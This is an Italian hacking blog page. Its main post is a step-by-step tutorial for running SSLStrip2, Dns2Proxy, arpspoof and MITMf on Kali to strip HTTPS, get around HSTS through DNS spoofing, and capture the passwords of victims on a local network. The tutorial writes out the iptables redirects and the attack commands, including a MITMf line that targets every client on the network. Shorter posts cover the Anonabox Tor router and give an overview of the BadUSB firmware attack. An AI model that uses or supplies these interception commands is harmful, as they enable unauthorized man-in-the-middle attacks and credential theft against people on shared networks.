domenica 29 marzo 2015

SSLStrip 2, come bypassare HSTS

Tutti quelli che sono interessati da qualche anno al penetration testing avranno sicuramente sentito parlare del famoso programma "SSLStrip", ma facciamo un piccolo ripassino.

Circa 6 anni fa, alla BlackHAT Conference del 2009, e' stato presentato SSLStrip, un tool scritto in python che sostituiva tutti i link "https" con link "http", permettendo quindi ad un attaccante, di sniffare tranquillamente le password delle vittime sulla sua rete LAN.

Per ovviare a questo problema, circa 3 anni fa è stata trovata come soluzione, l'implementazione di una nuova "Security Policy" chiamata "Http Strict Transport Security", che impedisce al browser di connettersi alle pagine non criptate, rendendo inutile SSLStrip e tutte le altre tecniche utilizzate fino a quel momento. Tutti i principali server, ad oggi, utilizzano questo nuovo metodo.

Negli ultimi mesi però, gli esperti di sicurezza hanno ricominciato a far sentire la loro voce e a trovare nuovi metodi per fronteggiare questa nuova protezione, sfornando in poco tempo due nuove tecniche.
La prima, la meno conosciuta ed efficace, sarebbe quella di effettuare un attacco MITM alle comunicazioni del protocollo NTP (Network Time Protocol). Infatti, come tutti sappiamo, i sistemi operativi hanno la possibilità' di sincronizzare l'ora con quella di internet, e fanno questo tramite il protocollo NTP. Esistono numerose versioni di questo protocollo, e la maggior parte dei sistemi implementa versioni vecchie, che non supportano ancora una comunicazione criptata.
L'attacco in se, funziona intercettando la comunicazione tra la vittima e il server che restituisce l'ora al protocollo, e fornendo alla vittima una data ed un ora simili (ovvero viene cambiato solo l'anno; il giorno, il numero e il mese rimangono invariati, così che non sia evidente il cambiamento), che però portino alla data di scadenza del certificato HSTS.
Per effettuare questo attacco, il programma più comunemente usato si chiama Delorean, un tool in python che non approfondirò in questo articolo.


** IL NUOVO METODO
Il secondo metodo, nonché il più recente ed accreditato, è quello utilizzato dalla "nuova versione" di SSLStrip, ovvero SSLStrip 2, un nuovo script in python scritto da LeonardoNve.
Ho utilizzato le virgolette nel definirlo una nuova versione, perché utilizza una tecnica completamente diversa, pensata proprio per ovviare a tutti i problemi legati alle nuove protezioni, e basata su un vero e proprio DNS spoofing.

Basandosi, infatti, su questo tipo di attacco MITM, può eludere non solo la protezione HSTS, grazie al fatto che, l'attaccante si connetterà al nostro dns, quindi in linea teorica al nostro sito web non protetto da quella policy, ma anche dai noiosi avvisi di sicurezza legati alla scadenza del certificato SSL del sito!
Il tutto in modo ancora più sicuro per l'attaccante, poiché, come mostrato nell'immagine, tramite il tool Dns2Proxy potremmo ottenere un dns server proxato, in modo da evitare (in parte) anche la possibilità di essere scoperti.
Ora che avete (spero) capito il funzionamento generale del programma, passiamo alla pratica, con Kali


** COME UTILIZZARLO
Prima di tutto, assicuriamoci di avere il sistema in ordine, eseguendo un controllo sugli update                
apt-get update
apt-get upgrade
Ora scarichiamo i due tool già citati, ovvero SSLStrip2 e Dns2Proxy, estraiamoli dai rispettivi archivi, e spostandoci nella cartella di sslstrip2 tramite terminale. Installiamolo digitando:
python setup.py install
Fatto questo, iniziamo ad abilitare l'Ip Forwarding e settare le varie direttive iptables per garantirne il funzionamento:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Ora, può iniziare effettivamente l'attacco. Spostandoci nella directory di dns2proxy e lanciamolo digitando:
python dns2proxy -i <interface>
E' necessario specificare l'interfaccia nel caso non sia quella di default, ovvero la eth0.
Quindi lanciamo anche sslstrip2 in ascolto sulla porta 8000:
sslstrip -l 8000 -a
Infine, utilizziamo arpspoof per intercettare i dati:
arpspoof -i <interface> -t <victim ip> <gateway ip> 
Noterete sicuramente che l'attacco non sarà perfetto, infatti è probabile che qualche sito riesca lo stesso a mantenere la connessione sicura mentre altri siti causeranno un errore nel programma, che non riuscirà a collegarsi al DNS reale del sito. Comunque sia avendo un buon margine di successo ci potremo ritenere soddisfatti.


** CONCLUSIONI E CONSIGLI
I "problemi" di questo attacco saranno principalmente due:
  1. Il procedimento è un po lungo e noioso (non è un gran problema ma....)
  2. Il target di questo attacco è solo uno
Per ovviare al primo problema, è stato già scritto uno script bash che ci automatizza il lavoro, se opportunamente settato, e scaricabile da QUA
Infine, per premiare chi è arrivato a leggere fino a qua, senza scappare subito su kali, consiglio di gran lunga di utilizzare il nuovo framework per gli attacchi man-in-the-middle, chiamato MITMF.
Infatti, è stata da poco integrata la funzione per il bypassing di hsts tramite un plug-in configurato per utilizzare SSLStrip2. Tramite questo framework potremo, con un semplice comando, risolvere anche il secondo problema, poichè lanciando il comando:
mitmf -i <interface> --arp --spoof --hsts --gateway <gateway> 
Effettueremo un arp spoofing, bypassando hsts e (non specificando il target) su tutti i client connessi alla rete.
Per finire vi consiglio di spulciarvi per bene le numerose funzioni di mitmf e dare un occhiata ai link qua sotto.


** LINKS UTILI
BYPASSING HSTS TRAMITE NTP MITM

lunedì 20 ottobre 2014

AnonaBox, la soluzione al problema dell'anonimato

Anonabox è un progetto completamente open source nato dalla sempre più crescente esigenza di anonimato sul web.

A livello funzionale, questa scatoletta filtra OGNI TIPO DI COMUNICAZIONE tra il computer e internet, attraverso la famigerata rete TOR. Il che vuol dire che non avrete un semplice browser che filtra le comunicazioni http, come fa il tor browser, bensì un filtraggio totale su tutti i protocolli di rete.

Il tutto supportato da un altro software open source ben noto, ovvero OpenWRT, che insieme all'ottimo comparto hardware che vede una CPU MT7620n 32bit 580MHz e una RAM da 64Mb, permetteranno a tor di fare il suo lavoro senza troppi problemi di velocità (aspettiamo l'uscita a dirlo).

Ma questo non è tutto, poichè questo piccolo aggeggino possiede anche un protocollo wifi, protetto da WEP/WPA/WPA2, che ci permetterà di collegarci alla rete protetta anche da un qualunque client wifi, non dovendo badare a nessuna configurazione proxy.


Circa 2 giorni fa Anonabox ha chiuso la campagna su kickstarter, (il noto sito di crowdfunding) e si appresta a iniziare i lavori di produzione, quindi a breve avremo la possibilità di utilizzare questo fantastico prodotto. In ogni caso, vi terrò aggiornati sulla data di uscita.


Campagna kickstarter

Anonabox site



A presto

sabato 18 ottobre 2014

BadUSB cos'è e come utilizzarlo

Dopo un anno dall'ultimo post, ho intenzione di ricominciare a scrivere su questo blog al fine di stimolare me stesso a restare sempre aggiornato sulle ultime novità del mondo dell'underground!

Quello di cui voglio parlare oggi è l'argomento che sta facendo scalpore nell'ultimo mese e che ha fatto la sua comparsa in scena nell'agosto 2014, (poco prima di essere completamente sovrastato dall'apparizione di ShellShock) ovvero "BadUSB"!

Come qualcuno di voi sicuramente saprà, si è parlato molto della scoperta di questa falla nelle periferiche USB che permetterebbe di sfruttare una riprogrammazione del firmware dell'USB 3.0 e inferiore, per poter manipolare l'identificazione da parte del nostro computer, della natura dell'USB.
Detto in parole semplici: come tutti sappiamo, nelle porte USB ci possono andare WebCam, periferiche audio, video, hard disk e quant'altro. Questa riprogrammazione del firmware di una pennetta USB ci permette di fare in modo che il nostro pc, quando inseriamo la periferica, la riconosca come una tastiera o come una webcam in modo da poter avere accesso ai driver di una periferica a nostro piacere, tramite un' apparentemente innocua chiave usb.

Ciò che ha fatto riparlare i media recentemente, è il rilascio del proof-of-concept, da parte degli scopritori della falla. Insieme ad esso però è stata anche rilasciata una patch dagli stessi creatori che, anche se non è assolutamente una soluzione definitiva, impedirebbe l'attacco sui pc, poichè andrebbe a disabilitare la boot mode automatica dell'USB 3.0.

Nel portale GitHub dove è presente il PoC (linkato in seguito), sono presenti tutti i file necessari all'installazione del BadUSB su una pennetta USB, correlati di una guida e il supporto da parte dei creatori, in caso di problemi!

Vi consiglio infine, di dare un occhiata anche al file, scaricabile dal sito dei relatori, chiamato "BadAndroid", il quale permette di effettuare un DNS Spoofing andando a modificare il protocollo usb dei telefoni android in modo che, una volta attaccato al computer il telefono, effettui appunto una redirottazione del traffico di determinati siti verso un sito a nostro piacimento (vi consiglio di dare una letta a questo articolo, in proposito). Nell'archivio, è presente una guida dettagliata all'uso, nel file ReadME

Ti potrebbero anche interessare

Related Posts Plugin for WordPress, Blogger...